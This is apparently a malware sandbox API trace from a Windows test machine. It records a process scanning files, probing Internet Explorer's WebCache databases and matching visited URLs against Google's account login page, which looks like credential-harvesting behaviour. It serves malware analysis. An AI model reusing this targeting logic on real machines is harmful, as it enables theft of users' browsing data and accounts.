[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.748] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.748] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.748] SetFilePointer (in: hFile=0xa4, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] SetFilePointer (in: hFile=0xa4, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80
[0079.749] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.749] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.749] CloseHandle (hObject=0xa4) returned 1
[0079.750] FindNextFileW (in: hFindFile=0x1b1cd8, lpFindFileData=0x128518 | out: lpFindFileData=0x128518) returned 0
[0079.750] FindClose (in: hFindFile=0x1b1cd8 | out: hFindFile=0x1b1cd8) returned 1
[0079.751] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 0
[0079.751] FindClose (in: hFindFile=0x1aeaa8 | out: hFindFile=0x1aeaa8) returned 1
[0079.751] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 0
[0079.751] FindClose (in: hFindFile=0x1aea68 | out: hFindFile=0x1aea68) returned 1
[0079.751] FindNextFileW (in: hFindFile=0x1aea28, lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 0
[0079.751] FindClose (in: hFindFile=0x1aea28 | out: hFindFile=0x1aea28) returned 1
[0079.751] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12a64c, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0079.752] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned 0x2a
[0079.752] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0079.752] wcscpy (in: _Dest=0x12a85c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0079.752] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0079.752] wcscat (in: _Dest=0x12a85c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0079.752] wcscat (in: _Dest=0x12a85c, _Source="Microsoft\\Windows\\WebCache\\WebCacheV01.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat"
[0079.752] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")) returned 0xffffffff
[0079.752] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned 0x2a
[0079.752] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0079.752] wcscpy (in: _Dest=0x12a85c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0079.752] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0079.752] wcscat (in: _Dest=0x12a85c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0079.752] wcscat (in: _Dest=0x12a85c, _Source="Microsoft\\Windows\\WebCache\\WebCacheV24.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat"
[0079.752] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\webcache\\webcachev24.dat")) returned 0xffffffff
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.google.de") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.msn.com") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://google.com") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://www.google.de/") returned -1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.google.de/") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/de-de/") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://www.microsoft.com/en-us/iegallery") returned -1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.iegallery.com/en/addons/") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/products/internet-explorer") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://go.microsoft.com/fwlink/") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/internet-explorer") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: computer") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 1
[0079.753] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 1
[0079.754] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned 1
[0079.755] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned 1
[0079.756] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 1
